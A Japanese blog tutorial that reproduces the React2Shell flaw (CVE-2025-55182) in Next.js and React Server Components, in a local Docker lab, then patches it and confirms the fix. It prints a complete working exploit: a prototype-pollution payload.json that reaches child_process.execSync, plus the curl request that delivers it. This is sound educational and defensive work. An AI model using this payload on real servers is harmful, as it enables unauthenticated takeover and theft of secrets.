【実演あり】React2Shell脆弱性(CVE-2025-55182)を再現してみた
「Next.jsアプリがハッキングされた」
12月3日、こんなニュースが飛び込んできました。しかもCVSS 10.0(最大スコア)の致命的な脆弱性。公開から数時間で攻撃が始まり、すでに被害も出ています。
Next.jsやReact 19を使っている方、大丈夫ですか?
僕も最初にこのニュースを見たとき「え、うちのプロジェクトは?」と焦りました。実際に手を動かして調べてみたので、この記事では脆弱性を再現しながら、何が起きているのかを一緒に見ていきましょう。
この記事の再現手順は教育目的です。必ず自分のローカル環境でのみ実行してください。他者のシステムには絶対に使わないでください。
まず確認しよう: うちのプロジェクトは大丈夫?
「細かいことはいいから、まず確認したい!」という方、分かります。
▶30秒チェック
プロジェクトのルートで、このコマンドを叩いてみてください:
npm list react-server-dom-webpack react-server-dom-turbopack react-server-dom-parcel 2>/dev/null | grep -E "19\.(0\.0|1\.[01]|2\.0)"何か表示されたら...残念ながら脆弱なバージョンを使っています。すぐに更新しましょう。
▶どのバージョンがヤバい?
| パッケージ | 脆弱 | 修正済み |
|---|---|---|
| react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
| react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
| react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
| Next.js | 15.0.4以下, 16.0.6以下 | 15.0.5+, 16.0.7+ |
create-next-appで作ったデフォルトのアプリも対象です。App Routerを使っているなら要注意。
参考: Tenable CVE情報
React2Shellって何なの?
▶ざっくり言うと
ログインなしで、サーバーを乗っ取れる脆弱性です。
HTTPリクエストを1つ送るだけ。それだけでサーバー上で好きなコマンドを実行できてしまいます。怖いですよね。
▶基本情報
| 項目 | 内容 |
|---|---|
| CVE番号 | CVE-2025-55182 |
| 名称 | React2Shell |
| 深刻度 | Critical(CVSS 10.0) |
| 発見者 | Lachlan Davidson |
| 報告日 | 2025年11月29日 |
| 公開日 | 2025年12月3日 |
▶どれくらい影響あるの?
Wizの調査によると:
- クラウド環境の 39% に脆弱なReact/Next.jsがある
- 44% のクラウド環境がNext.jsを外部に公開している
...結構な数ですよね。
何が起きてるの? 技術的な話
▶RSCの仕組み
React 19から React Server Components(RSC) という機能が入りました。サーバーでReactをレンダリングして、その結果をクライアントに送る仕組みです。
このデータのやり取りに使われるのがFlightプロトコル。
▶で、何が問題だったの?
Flightプロトコルは、データを送るときに「シリアライズ」(データを文字列に変換)して、受け取るときに「デシリアライズ」(元に戻す)します。
問題は、この「デシリアライズ」の処理。受け取ったデータをちゃんとチェックしてなかったんです。
攻撃者は変なデータを送りつけて:
- JavaScriptの
Functionコンストラクタにアクセス - 好きなJavaScriptコードを実行
child_process.exec()でシステムコマンドを実行
こうやってサーバーを乗っ取ります。
もっと詳しく知りたい方はWiz Blog - Deep Diveをどうぞ。
実際にやってみよう
百聞は一見にしかず。実際に再現してみましょう。
繰り返しますが、必ず自分のローカル環境で実行してください。
▶準備するもの
- Docker Desktop
- curl
これだけでOK。
▶Step 1: 脆弱なアプリを起動
l4rm4nd/CVE-2025-55182がDocker環境を用意してくれています。ありがたい。
docker run --rm -p 127.0.0.1:3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latestApple Silicon (M1/M2/M3) Macの場合は、arm64未対応のため以下のように実行してください:
docker run --rm --platform=linux/amd64 -p 127.0.0.1:3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latest127.0.0.1にバインドしているので、外からはアクセスできません。安心。
起動したら http://127.0.0.1:3000 にアクセスして、Next.jsアプリが見えることを確認してください。
![]()
▶Step 2: 脆弱性チェック(任意)
Assetnoteがスキャナーを公開しています:
$ git clone https://github.com/assetnote/react2shell-scanner
$ cd react2shell-scanner
$ python3 -m venv venv
$ source venv/bin/activate
$ pip install -r requirements.txt
$ python3 scanner.py -u http://127.0.0.1:3000脆弱なら、こう表示されます:
[VULNERABLE] http://127.0.0.1:3000 - Status: 303![]()
▶Step 3: 攻撃してみる
いよいよ本番。サーバー上でコマンドを実行してみます。
まず、攻撃用のペイロードを作ります。
ポイントは3つ:
- フィールド
0: 偽のチャンクオブジェクト(プロトタイプ汚染用) - フィールド
1:"$@0"という自己参照(これが攻撃の鍵!) - フィールド
2: 空配列[]
payload.jsonというファイルを作成して、以下の内容を書き込んでください:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('touch /tmp/pwned',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}このペイロードは /tmp/pwned というファイルを作ります。無害ですが、コマンドが実行できた証拠になります。
次に、ref.txtというファイルを作成して、以下の内容を書き込んでください:
"$@0"では、実行:
curl -X POST http://127.0.0.1:3000 \
-H "Next-Action: x" \
-F "0=<payload.json" \
-F "1=<ref.txt" \
-F "2=[]"以下のような応答が返ってきます:
0:{"a":"$@1","f":"","b":"JkJacmr3AsqLhdY9YSmrr"}
1:E{"digest":"4221456581"}1:E{"digest":"..."} が返ってきたら、コマンドは実行されています。
▶Step 4: 成功したか確認
ファイルができたかチェックしてみましょう:
CONTAINER_ID=$(docker ps -q --filter ancestor=ghcr.io/l4rm4nd/cve-2025-55182:latest)
docker exec $CONTAINER_ID ls -la /tmp/pwnedファイルがあれば...攻撃成功です。
![]()
▶えっ、これだけ?
そう、たった1つのHTTPリクエストでサーバー上のコマンドが実行できちゃいました。
実際の攻撃者はこれを悪用して:
- 環境変数からAWSキーを盗む
- バックドアを仕込む
- 暗号通貨マイナーを動かす
- ランサムウェアを展開する
といったことをやっています。怖い。
▶お片付け
実験が終わったら消しておきましょう。
コンテナを停止:
docker stop $(docker ps -q --filter ancestor=ghcr.io/l4rm4nd/cve-2025-55182:latest)イメージを削除:
docker rmi ghcr.io/l4rm4nd/cve-2025-55182:latest今すぐ直そう
さっき攻撃が成功したのを見て、ちょっとゾッとしましたよね。でも安心してください、直すのは簡単です。
実際にパッチを当てて、同じ攻撃が失敗することを確認してみましょう。
▶Step 1: プロジェクトを用意
さっき使ったDockerイメージの元になっているリポジトリをクローンします:
git clone https://github.com/l4rm4nd/CVE-2025-55182.git
cd CVE-2025-55182依存関係をインストール:
npm install▶Step 2: サーバー起動(脆弱版)
サーバーを起動してみましょう:
npm run devすると、こんな警告が表示されます:
1 critical severity vulnerability
To address all issues, run:
npm audit fix --force脆弱性があることをnpm自体が警告してくれています。でも今回は検証のため、このまま進めます。
サーバーが起動したら http://127.0.0.1:3000 にアクセスして、アプリが表示されることを確認してください。
▶Step 3: スキャナーでチェック
別のターミナルを開いて、スキャナーを実行します:
python3 react2shell-scanner/scanner.py -u http://127.0.0.1:3000結果:
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://127.0.0.1:3000 - Status: 303
============================================================
SCAN SUMMARY
============================================================
Total hosts scanned: 1
Vulnerable: 1
Not vulnerable: 0
Errors: 0
============================================================やっぱり脆弱ですね。
▶Step 4: パッチを当てる
まず、サーバーを起動しているターミナルで Ctrl+C を押してサーバーを停止します。
次に、npmが案内してくれた通りにパッチを当てます:
npm audit fix --forceこれでNext.jsが修正済みバージョンに更新されます。
npm audit fixを使わない場合は、Next.jsやReactを最新バージョンに更新すればOKです:
npm install next@latest react@latest react-dom@latest確認してみましょう:
npm list next出力例:
└── next@16.0.1016.0.7以上になっていればOK!
▶Step 5: サーバー再起動
もう一度サーバーを起動します:
npm run dev今度は 1 critical severity vulnerability の警告が出ないはずです。
▶Step 6: 再度スキャン
別のターミナルで、同じスキャンを実行:
python3 react2shell-scanner/scanner.py -u http://127.0.0.1:3000結果:
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[NOT VULNERABLE] http://127.0.0.1:3000 - Status: 404
============================================================
SCAN SUMMARY
============================================================
Total hosts scanned: 1
Vulnerable: 0
Not vulnerable: 1
Errors: 0
============================================================攻撃が通らなくなりました!
▶Step 7: 攻撃も試してみる
念のため、さっきのペイロードで攻撃してみましょう:
curl -X POST http://127.0.0.1:3000 \
-H "Next-Action: x" \
-F "0=<payload.json" \
-F "1=<ref.txt" \
-F "2=[]"パッチ適用後は、以下の応答が返ってきます:
Server action not found.コマンドは実行されず、ちゃんと拒否されています。
▶お片付け
サーバーを Ctrl+C で停止して、クローンしたリポジトリを削除:
cd ..
rm -rf CVE-2025-55182攻撃の状況
▶タイムライン
| 日時 | 何が起きた? |
|---|---|
| 11月29日 | 発見者がMeta/Vercelに報告 |
| 12月3日 | 脆弱性とパッチを同時公開 |
| 12月3日 | 公開から数時間で攻撃開始 |
| 12月5日 | CISAが「悪用されている」と認定 |
参考: Tenable FAQ
▶誰が攻撃してるの?
- 中国系グループ: Earth Lamia、Jackpot Panda
- イラン系グループ: 複数
- 犯罪者: 暗号通貨マイニング、ボットネット
国家レベルのハッカーから小遣い稼ぎの犯罪者まで、いろんな人が狙っています。
▶どんな攻撃が観測されてる?
Unit 42によると:
- 環境変数からAWSキーやDB認証情報を盗む
- Cobalt Strikeを仕込む
- 暗号通貨マイナー(XMRig)を動かす
- Miraiボットネットに組み込む
今後どうする?
▶依存関係をチェックする習慣を
今回の教訓は「デフォルト設定でも安全じゃない」ということ。
npm auditを定期的に実行- DependabotやSnykを入れる
- 重要な脆弱性のアラートを受け取れるようにする
▶情報収集のススメ
こういうのをフォローしておくと、次の脆弱性も早めに気づけます:
まとめ
React2Shell(CVE-2025-55182)、ヤバい脆弱性でした:
- CVSS 10.0 - 最大スコア
- ログイン不要でサーバー乗っ取り
- デフォルト設定でも脆弱
- 公開から数時間で攻撃開始
やることは2つ:
- 今すぐパッケージを更新する
- これからは依存関係を定期チェックする
まだ確認してない方、今すぐチェックしてください!
参考リンク
▶公式・信頼できるソース
- Wiz Blog - Critical Vulnerability
- Wiz Blog - Deep Dive
- Tenable - FAQ
- AWS Security Blog
- Google Cloud Blog
- Unit 42 - Palo Alto Networks
- Cloudflare Blog
- Datadog Security Labs
- JPCERT/CC
▶再現・検証用
- l4rm4nd/CVE-2025-55182 - Docker PoC Lab
- Assetnote Scanner - 脆弱性スキャナー
- react2shell.com - 公式情報ページ
この記事はいかがでしたか?
もしこの記事が参考になりましたら、
高評価をいただけると大変嬉しいです!
皆様からの応援が励みになります。ありがとうございます! ✨